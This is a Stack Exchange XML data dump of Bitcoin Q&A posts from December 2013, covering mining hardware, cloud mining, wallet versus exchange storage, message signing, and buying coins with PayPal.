  <row Id="18497" PostTypeId="2" ParentId="12022" CreationDate="2013-12-11T08:08:28.510" Score="0" Body="&lt;p&gt;Kncminers are the most reliable in terms of delivery on time so far, I wouldn't buy butterfly anymore, I sold mine. Block Errupter is too slow 333MH/sec? you will not get back your money with that. If you already have some bitcoin, you can try cexio they do cloud mining for ~0.07 BTC at GH/s that is like 1/4 of the price of the errupter. Butterfly and Kncminers are a lot more cheap (not on ebay though) but there are big question marks on delivery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a look at &lt;a href=&quot;http://goo.gl/1Vy2ur&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt; as you will get a lot of flexibility on trading GH-BTC&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-11T08:08:28.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18498" PostTypeId="2" ParentId="9148" CreationDate="2013-12-11T08:25:20.440" Score="0" Body="&lt;p&gt;If you sell them on ebay they may pay themselves. I think a better way to get into mining is to try cloud mining with &lt;a href=&quot;https://cex.io/r/0/giagola/0/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt; at least you don't have to wait, you can sell and buy GH/s whenever you want (maybe making a profit out of it) and you don't have to spend time taking care for the machines.&lt;/p&gt;&#xA;" OwnerUserId="10285" LastActivityDate="2013-12-11T08:25:20.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18499" PostTypeId="2" ParentId="18448" CreationDate="2013-12-11T08:48:15.183" Score="1" Body="&lt;p&gt;I thought about it. But the experience with butterfly labs was enough. It looks to risky for me, kncminer are like 12000$ right? you can get 12-13 BTC and with that you can buy immediately 170-185 GH/s on &lt;a href=&quot;https://cex.io/&quot; rel=&quot;nofollow&quot;&gt;cexio&lt;/a&gt;. On Cexio you can buy and sell GH/s for bitcoins so the risk of the investment is not as big as buying hardware, plus you get that GH/s working now not in a few months&lt;/p&gt;&#xA;" OwnerUserId="10285" LastEditorUserId="85" LastEditDate="2014-01-08T05:52:46.460" LastActivityDate="2014-01-08T05:52:46.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18500" PostTypeId="2" ParentId="18026" CreationDate="2013-12-11T09:13:50.177" Score="0" Body="&lt;p&gt;edit your batch file for correct info, this is mine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cudaminer.exe -o stratum+tcp://world.wemineltc.com:3334 -O Iron_Mafia.1:x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with Iron_Mafia.1 being my workers name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then x being my password&lt;/p&gt;&#xA;" OwnerUserId="10612" LastActivityDate="2013-12-11T09:13:50.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18501" PostTypeId="1" AcceptedAnswerId="18506" CreationDate="2013-12-11T09:57:47.600" Score="1" ViewCount="2853" Body="&lt;p&gt;Is there any difference or any problem or extra fees for having permanently (1 month, 6 months, etc..) my BTCs instead of having them in a local wallet like Bitcon-Qt or Multibit?&lt;/p&gt;&#xA;" OwnerUserId="10088" LastEditorUserId="132" LastEditDate="2013-12-12T10:17:59.020" LastActivityDate="2017-06-18T19:01:52.160" Title="Difference between having bitcoin in my wallet or in a third party like an exchange or an e-wallet" Tags="|wallet|bitcoin-core|e-wallet|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18502" PostTypeId="1" CreationDate="2013-12-11T10:25:05.407" Score="7" ViewCount="2583" Body="&lt;p&gt;Is it possible to prove that you are the sender in a transaction?&#xA;Prove this to 3rd-parties, not only the receiver.&lt;/p&gt;&#xA;" OwnerUserId="10614" LastActivityDate="2019-07-10T16:24:51.487" Title="Is there a way to prove ownership of a transaction?" Tags="|transactions|verification|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18503" PostTypeId="2" ParentId="18502" CreationDate="2013-12-11T10:50:05.350" Score="3" Body="&lt;p&gt;Yes, it is possible. You would do that by signing a message using the private key of the address which you sent the transaction from. Bitcoin-QT offers this functionality by clicking the button called &quot;Sign Message&quot;. Anybody can then verify that the message could only have come from the owner of said address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure privacy, you would perhaps not want to put private information into that message, but rather announce to the third party that you will send them a message with some sort of passphrase (or ask them what passphrase they would like you to use), e.g. &quot;This verifies my ownership - 54123&quot; and then later on, send them exactly that message signed by using your private key.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-11T10:50:05.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18505" PostTypeId="2" ParentId="18501" CreationDate="2013-12-11T10:56:50.050" Score="2" Body="&lt;p&gt;&lt;em&gt;Only the respective trade-offs of trusting another party with your money vs trusting yourself not to lose your data.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you keep your money on an exchange website or online wallet service, you are not only trusting their good intentions, but also that they stay in business and are running a secure service. A significant number of exchanges and OWS have been compromised or put out of business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you keep your money on your own devices, you are trusting yourself not to be hacked, fooled into sending money to a wrong address, and to keep your data safe. The latter requires you to engage in a decent backup policy and to have a basic understanding what you are doing. There have been numerous cases of personal computers being compromised (google for example &quot;AllInVain&quot;), people losing their data to hardware failure without having a backup, or recently, someone just throwing his hard drive worth $7Mio in the garbage.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-12-11T10:56:50.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18506" PostTypeId="2" ParentId="18501" CreationDate="2013-12-11T10:58:09.107" Score="2" Body="&lt;p&gt;This really depends on the exchange website's policies. But in general money is a local wallet behaves just as what a wallet in real life would do: store money without any fees or interest. As long as you (and only you) own the wallet file (normally &lt;code&gt;wallet.dat&lt;/code&gt;) you control whats being done with the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, money stored on a website/exchange behaves very much like storing money in a bank. Fees or interest is based primarily off the website's policies. The main thing thats different is that they reserve the right to do things with your money. When you are sending money to a address they merely carry out your request &lt;strong&gt;for you&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding long term storage a local wallet &lt;i&gt;should&lt;/i&gt; retain all money you have as long as you own the wallet file and that no major changes to the bitcoin system itself occurs (extremely unlikely). For online exchanges, it depends on whether they choose to do anything with your money whilst you are not using it (e.g. remove it after x amount of inactivity). Needless to say if the website/exchange shuts down for whatever reason you probably can't get the money out again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given that a exchange/website employs a no-delete, no-cost policy it really just boils down to trust. Do you trust a third party with your money for whatever the benefits it may bring you or not?&lt;/p&gt;&#xA;" OwnerUserId="10616" LastActivityDate="2013-12-11T10:58:09.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18507" PostTypeId="2" ParentId="18296" CreationDate="2013-12-11T11:43:16.593" Score="0" Body="&lt;p&gt;When going for PSUs, the 80+ certification level is extremely important if you wish your mining gear to survive longer. ALWAYS go for Gold or higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for later expansion of the rig, a modular PSU is always recommended.&lt;/p&gt;&#xA;" OwnerUserId="4867" LastActivityDate="2013-12-11T11:43:16.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18508" PostTypeId="1" AcceptedAnswerId="18546" CreationDate="2013-12-11T12:24:30.487" Score="3" ViewCount="134" Body="&lt;pre&gt;&lt;code&gt;// This code can be removed after enough miners have upgraded to version 0.9.&#xA;// Until then, be safe when sending and require a fee if any output&#xA;// is less than CENT:&#xA;if (nMinFee &amp;lt; nBaseFee &amp;amp;&amp;amp; mode == GMF_SEND)&#xA;{&#xA;    BOOST_FOREACH(const CTxOut&amp;amp; txout, tx.vout)&#xA;        if (txout.nValue &amp;lt; CENT)&#xA;            nMinFee = nBaseFee;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above if clause was as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (nMinFee &amp;lt; nBaseFee)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gavin explains this change as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Remove the rule that all outputs of free transactions must be greater&#xA;  than 0.01 XBT. Dust spam is now taken care of by making dusty outputs non-standard.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't see any other code change in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/commit/ea1cd5b47f473eed60b3ed95853b053e9f686d69&quot; rel=&quot;nofollow&quot;&gt;same commit&lt;/a&gt;. How is dust spam taken care of? Was it made non-standard in a previous version?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="132" LastEditDate="2014-01-13T14:36:27.017" LastActivityDate="2014-01-13T14:36:27.017" Title="About a change in 0.8.6 - free transactions with less than 0.01 outputs" Tags="|bitcoin-core|dust|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18510" PostTypeId="2" ParentId="18461" CreationDate="2013-12-11T14:09:12.487" Score="3" Body="&lt;p&gt;As far as I know a book about bitcoin programming doesn't exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best resource you will find is the &lt;a href=&quot;https://en.bitcoin.it/wiki/Main_Page&quot; rel=&quot;nofollow&quot;&gt;bitcoin wiki&lt;/a&gt; that is describing the bitcoin protocols very well.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;July 2014 Edit&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Now there is a book called &lt;a href=&quot;http://shop.oreilly.com/product/0636920032281.do&quot; rel=&quot;nofollow&quot;&gt;Mastering&#xA;  Bitcoin&lt;/a&gt; that is&#xA;  available in early release.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;I believe that this book match to what you are looking.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You can buy here on&#xA;  &lt;a href=&quot;http://shop.oreilly.com/product/0636920032281.do&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2014-07-25T13:05:33.773" LastActivityDate="2014-07-25T13:05:33.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18511" PostTypeId="2" ParentId="18101" CreationDate="2013-12-11T14:37:07.443" Score="1" Body="&lt;p&gt;It's worth the time to read the December 2013 three page &quot;Chicago Fed Letter&quot; titled &quot;Bitcoin: A primer&quot; description that the Federal Reserve has about Bitcoin, see &lt;a href=&quot;http://www.chicagofed.org/digital_assets/publications/chicago_fed_letter/2013/cfldecember2013_317.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.chicagofed.org/digital_assets/publications/chicago_fed_letter/2013/cfldecember2013_317.pdf&lt;/a&gt;.  There is truth in the assertion that &quot;There are on average about 30 bitcoin transactions per minute (Visa transactions average 200,000 per minute). The average bitcoin transaction size is about 16, i.e., on the order of $2,000 (the average Visa transaction is about $80)&quot;. See &lt;a href=&quot;https://blockchain.info/charts/n-transactions-per-block&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/charts/n-transactions-per-block&lt;/a&gt; for the truth about Bitcoin transaction rates. This is at the heart why the Bitcoin block size is so contentious. For existential reasons, extreme care has to be exercised by the Bitcoin Community for picking a course of action. Strategies need to be established to not grow too quickly, and establishing symbiotic crypto currency allies to load balance the anticipated demand for crypto currency transactions while an optimal an optimal decentralized architecture is identified enabling Bitcoin to scale by at least three orders of magnitude while sustaining it decentralized characteristics. Making block sizes too large will leave mining operations in the hands of only a few, which puts us back into the same centralized banking paradigm. This is the big challenge! Some big decisions need to be made. Bitcoin Technology is in its propeller-driven bi-plane era, getting it into the space/jet-age will take considerable work and cooperation. &lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-11T14:37:07.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18517" PostTypeId="1" AcceptedAnswerId="18553" CreationDate="2013-12-11T15:27:07.357" Score="6" ViewCount="262" Body="&lt;p&gt;I'm planning to contribute a Paper wallet as Secret Santa gift.  This would require the recipient to learn a bit about bitcoin and set up their own wallet in order to use the value.  What's the best approach for this?  Which paper wallet system should I use?  An important requirement is that it come with very clear instructions for the recipient.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-21T13:12:04.150" Title="Paper wallet secret Santa?" Tags="|paper-wallet|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18519" PostTypeId="1" AcceptedAnswerId="18541" CreationDate="2013-12-11T16:01:54.703" Score="11" ViewCount="54047" Body="&lt;p&gt;Is it possible to make a wallet for BTC and store LTC and NMC or other coins in it?&lt;/p&gt;&#xA;" OwnerUserId="10483" LastActivityDate="2017-06-16T00:46:41.557" Title="Can i store multiple crypto currencies in one wallet?" Tags="|wallet|currencies|storage|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18520" PostTypeId="2" ParentId="2293" CreationDate="2013-12-11T16:07:42.837" Score="58" Body="&lt;p&gt;I noticed this question was posted a long time ago and perhaps things have changed so I took the liberty to dig in again and also aggregate most of the answers given here and here’s what I found:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It’s indeed impossible to buy Bitcoins with Paypal DIRECTLY even today and it's mainly because of Paypal’s TOS (Section 3.7 &lt;a href=&quot;https://cms.paypal.com/hk/cgi-bin/?cmd=_render-content&amp;amp;content_ID=ua/UserAgreement_full&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) and the issues of chargeback.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Having said that there are still a few ways you can buy Bitcoin with Paypal&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. Use &lt;a href=&quot;http://virrwox.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;VirWox&lt;/a&gt; to buy SLL with Paypal and then transfer that SLL to BTC (has high comission, transaction can take between 1 hour to 2 days). The full process is explained &lt;a href=&quot;http://99bitcoins.com/buying-bitcoins-with-paypal-a-practical-guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. You can use &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Local Bitcoins&lt;/a&gt; and perhaps find someone in your area to sell you Bitcoins with cash or even someone not in your area to sell you Bitcoins with Paypal or a credit card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. If you’re only into trading Bitcoins for their volitility and not actaully keep them you can use platforms such as &lt;a href=&quot;https://www.avatrade.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;AvaTrade&lt;/a&gt; or &lt;a href=&quot;http://99bitcoins.com/plus500&quot; rel=&quot;nofollow noreferrer&quot;&gt;Plus500&lt;/a&gt; to trade CFDs. However CFDs are for more experience traders and your capital is at risk so take that into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. If you have a Paypal Debit card you can actually connect it to your Circle account and use the funds on your card to get BTC. This is relevant to US residents only.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same thing goes for credit cards. Because of chargeback issues there’s no direct way to buy Bitcoins with them. Currently some options for credit cards are &lt;a href=&quot;http://coinmama.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;CoinMama&lt;/a&gt;, &lt;a href=&quot;http://circle.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Circle&lt;/a&gt; or &lt;a href=&quot;https://cubits.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cubits&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="-1" LastEditDate="2019-04-23T23:16:10.600" LastActivityDate="2019-04-23T23:16:10.600" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18521" PostTypeId="2" ParentId="18423" CreationDate="2013-12-11T16:21:26.887" Score="4" Body="&lt;p&gt;The core developers could decide on a new port then get the word out that everyone should start using that port.  It's a very easy change in the bitcoin.conf file.  Mining pools, online wallets like blockchain.info and Coinbase, and &quot;light&quot; wallet providers like Electrum could lead the way.  (For example, once blockchain.info made the port change on their server, all their users would automatically have service again).  I think it would recover quite quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new port could also be shut down but it would turn into a game of &quot;whack-a-mole&quot;.  The developers would probably come out with a new release that used some kind of strategy to dynamically search for a port to use to solve the whack-a-mole problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, there is no reason they could not just switch to using port 80 for bitcoin.  The main disadvantage is it would make it a bit more complicated to run a web server and bitcoin node on the same machine.&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2013-12-11T16:21:26.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18522" PostTypeId="1" AcceptedAnswerId="18523" CreationDate="2013-12-11T16:21:29.530" Score="10" ViewCount="11253" Body="&lt;p&gt;I've been looking into Litecoin Lately and couldn't find any easy option to buy it using a credit card or my Paypal account. Am I missing something or is it just not possible ?&lt;/p&gt;&#xA;" OwnerUserId="10629" LastActivityDate="2019-11-08T12:36:13.760" Title="Can I buy Litecoin with Paypal or a credit card?" Tags="|litecoin|paypal|bitcoin-credit-card|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18523" PostTypeId="2" ParentId="18522" CreationDate="2013-12-11T16:27:55.593" Score="6" Body="&lt;p&gt;Bitocin and Litecoin have the same problems when trying to buy them with funding methods that allow chargeback.This is mainly because of Paypal’s TOS (Section 3.7 &lt;a href=&quot;https://cms.paypal.com/hk/cgi-bin/?cmd=_render-content&amp;amp;content_ID=ua/UserAgreement_full&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;) and the fact that your can't chargeback Liteocin since it is considered as cash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that there are still a few ways you can buy Litecoin with Paypal or a credit card.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use &lt;a href=&quot;http://virrwox.com&quot; rel=&quot;nofollow&quot;&gt;VirWox&lt;/a&gt; to buy SLL with Paypal and then transfer that SLL to BTC (has high comission, transaction can take between 1 hour to 2 days). After that transfer the BTC to either &lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;Vircurex&lt;/a&gt; or &lt;a href=&quot;http://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt; and purchase Litecoins with them. Complete process explained &lt;a href=&quot;http://99bitcoins.com/buy-litecoin-with-paypal-credit-card-instantly/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;a href=&quot;http://localbitcoins.com&quot; rel=&quot;nofollow&quot;&gt;Local Bitcoins&lt;/a&gt; and perhaps find someone in your area to sell you Bitcoins with cash or even someone not in your area to sell you Bitcoins with Paypal or a credit card and then use these Bitcoins to buy Litecoins at the same exchanges mentioned before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you’re only into trading Litecoins for their volatility and not actually keep them you can use platforms such as &lt;a href=&quot;http://99bitcoins.com/plus500&quot; rel=&quot;nofollow&quot;&gt;Plus500&lt;/a&gt; to trade CFDs. However CFDs are for more experience traders and your capital is at risk so take that into account.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also buy Litecoins with Paypal or a credit card on Ebay. As long as they are sold with an actual physical product (meaning they are stored on a USB for example). Be ready to pay a high commission though since sellers have to insure themselves from soaring Litecoin prices.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7072" LastEditorUserId="7072" LastEditDate="2013-12-31T10:32:41.323" LastActivityDate="2013-12-31T10:32:41.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18524" PostTypeId="2" ParentId="18519" CreationDate="2013-12-11T16:37:03.693" Score="0" Body="&lt;p&gt;I don't know a real wallet program that does it, but if you look for a web wallet, &lt;a href=&quot;https://vircurex.com/&quot; rel=&quot;nofollow&quot;&gt;VirCurEx&lt;/a&gt; might be something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's an exchange for different crypto-currencies and so you also have a web wallet for each of them.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-11T16:37:03.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18525" PostTypeId="1" CreationDate="2013-12-11T16:37:06.090" Score="4" ViewCount="12909" Body="&lt;p&gt;I've got several dedicated servers which I'm renting for about 250 Euros from a big hoster (OVH). These server are used for things like ssh/scp, SVN and Git servers (for private repositories), HTTP proxy, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing shaddy here: just fully legal servers that see little use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize these servers are really not powerful at all and would make terrible miners (at least for all the cryptocurrencies where GPU and ASIC mining is disproportionally powerful compared to CPU mining): that is not the point of my question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is: can you legally use a dedicated server which you fully pay for to mine cryptocurrencies all year long? Basically I realized that the CPUs would be running at full speed and would consume more electricity than the way I use them now.&lt;/p&gt;&#xA;" OwnerUserId="9962" LastEditorUserId="5406" LastEditDate="2016-04-24T08:59:22.900" LastActivityDate="2019-01-22T13:18:37.123" Title="Is it legal to use rented dedicated servers to mine?" Tags="|mining-pools|legal|server|cpu-mining|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18526" PostTypeId="2" ParentId="18519" CreationDate="2013-12-11T16:41:52.850" Score="-1" Body="&lt;p&gt;Yes and no, the wallet software for each is an independent piece of software built by the community around that single cryptocurrency. It's possible that third party developers have/will develop a multi-currency digital wallet, to date all I have found is &lt;a href=&quot;http://ufasoft.com/coin/&quot; rel=&quot;nofollow&quot;&gt;http://ufasoft.com/coin/&lt;/a&gt;, but I have not used it personally. &lt;/p&gt;&#xA;" OwnerUserId="5875" LastActivityDate="2013-12-11T16:41:52.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18527" PostTypeId="2" ParentId="18502" CreationDate="2013-12-11T16:42:31.220" Score="4" Body="&lt;p&gt;You cannot &quot;own&quot; a transaction. But you can own the private keys for one or more of the addresses from the inputs of the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A (regular) transaction must be signed with the private keys of the addresses of all the inputs. So if you own one of the addresses, the transaction could not have been verified without you, which may count as &quot;ownership&quot; if you want to call it that way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Proving that you own an address can be done by signing a message using the private key of that address. Most wallets provide signing functionality. Just agree on a message, something like &quot;I, [name with which the other party knows you], am the owner of address [address from the input].&quot; After signing, you can send the message and the signature to the other party and he will be able to verify your ownership of the private key.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-11T16:42:31.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18528" PostTypeId="2" ParentId="18495" CreationDate="2013-12-11T16:50:15.697" Score="0" Body="&lt;p&gt;When you send money to another address, the client selects one or more unspent outputs to get a sufficient amount to cover the amount you are sending.  Any excess is returned to your wallet using a change address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, it looks like you had an unspent output of 2 BTC.  Since a transaction completely consumes its inputs,  the transaction needs to send 1 BTC to your specified address and 1 BTC back to your wallet to account for the 2 BTC that were consumed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes addresses are typically not displayed by the client.  If you are running Bitcoin-Qt, you can check all of the addresses in your wallet by entering the command&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;listaddressgroupings &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in the debug console.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastEditorUserId="9301" LastEditDate="2013-12-13T19:13:51.967" LastActivityDate="2013-12-13T19:13:51.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18529" PostTypeId="2" ParentId="18496" CreationDate="2013-12-11T16:54:01.420" Score="5" Body="&lt;p&gt;The Bitcoin protocol specification can be found on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification&quot; rel=&quot;noreferrer&quot;&gt;Bitcoin Wiki&lt;/a&gt;. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Network#Standard_relaying&quot; rel=&quot;noreferrer&quot;&gt;Network wiki page&lt;/a&gt; has information on how information is relayed using the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clients exchange messages over TCP/IP. With this messages, they can express their state of the blockchain and request others to send them parts they do not yet own. When you want to broadcast a new block or transaction, the &lt;code&gt;inv&lt;/code&gt; message type is used to let people know you have the new data. Since no other client has that data already, it will request the data element using &lt;code&gt;getdata&lt;/code&gt;. You will reply with a &lt;code&gt;block&lt;/code&gt; or &lt;code&gt;transaction&lt;/code&gt; message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, to reduce bandwidth usage, only an &lt;code&gt;inv&lt;/code&gt; is truly relayed. Each node will then request the new data from one of the other nodes that broadcasted the &lt;code&gt;inv&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-11T16:54:01.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18530" PostTypeId="2" ParentId="18525" CreationDate="2013-12-11T16:54:48.167" Score="11" Body="&lt;p&gt;It's definitely not against the law. It might be breaking the terms of service (ToS) but there's really no reason why any dedicated server hosting provider wouldn't allow you to max out the CPU. I wouldn't do business with them if they limited that. However, you need to read your hosting provider's ToS. They might forbid certain applications like IRC servers, BitTorrent, Tor, etc. If they don't list Bitcoin then you are good to go.&lt;/p&gt;&#xA;" OwnerUserId="9540" LastActivityDate="2013-12-11T16:54:48.167" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18531" PostTypeId="2" ParentId="8309" CreationDate="2013-12-11T17:21:01.807" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://coincontroller.com/&quot; rel=&quot;nofollow&quot;&gt;Coin Controller&lt;/a&gt; is a provably fair game and works on mobile devices as well. Its a little bit different than most traditional gambling games, but its a nice easy way to win some extra coins, and there is an awesome affiliate program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check it out, better explanation and details on how to play on the site. Also, accepts Litecoins and Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="2882" LastEditorUserId="3364" LastEditDate="2014-03-25T21:22:23.817" LastActivityDate="2014-03-25T21:22:23.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18532" PostTypeId="2" ParentId="18296" CreationDate="2013-12-11T17:23:04.947" Score="1" Body="&lt;p&gt;For mining, it is a 'no brainer' to me to get the most power efficient PSU as even those meager differences of efficiency will pay themselves off in a pretty short time... that is assuming that the price of these 'coins' stays at their unusually high price anyway.&lt;/p&gt;&#xA;" OwnerUserId="9869" LastActivityDate="2013-12-11T17:23:04.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18533" PostTypeId="1" AcceptedAnswerId="19750" CreationDate="2013-12-11T18:07:23.353" Score="2" ViewCount="1168" Body="&lt;p&gt;I am in a unique situation of not owning or renting property and no need for utilities.  I've tried to contact several exchanges to find out what are all the acceptable forms of proof of residency, but none of them respond.  I don't want to send money until I am sure I can meet the AML requirements, but I can't figure out if I can meet them.  And I don't want to deal with exchanges that are not AML compliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a definitive list of documentation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  It's been almost two weeks with no response from 3 different exchanges.  Is there really no list of acceptable standards?  Is it save to send money and just find out if they accept what I can provide?&lt;/p&gt;&#xA;" OwnerUserId="10502" LastEditorUserId="132" LastEditDate="2014-01-07T10:53:05.300" LastActivityDate="2014-01-07T10:53:05.300" Title="What qualifies as proof of residency for AML in the USA?" Tags="|aml|usa|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18534" PostTypeId="2" ParentId="18525" CreationDate="2013-12-11T18:11:51.253" Score="0" Body="&lt;p&gt;Many hosts do have a vague TOS clause about running processes that occupy too much of the server's overhead.  Often they will automatically throttle or even kill your processes.  For example, godaddy.com has limits on how much CPU time and power a process can use on their shared hosts.  They will automatically kill it if it runs past their limits.&lt;/p&gt;&#xA;" OwnerUserId="10502" LastActivityDate="2013-12-11T18:11:51.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
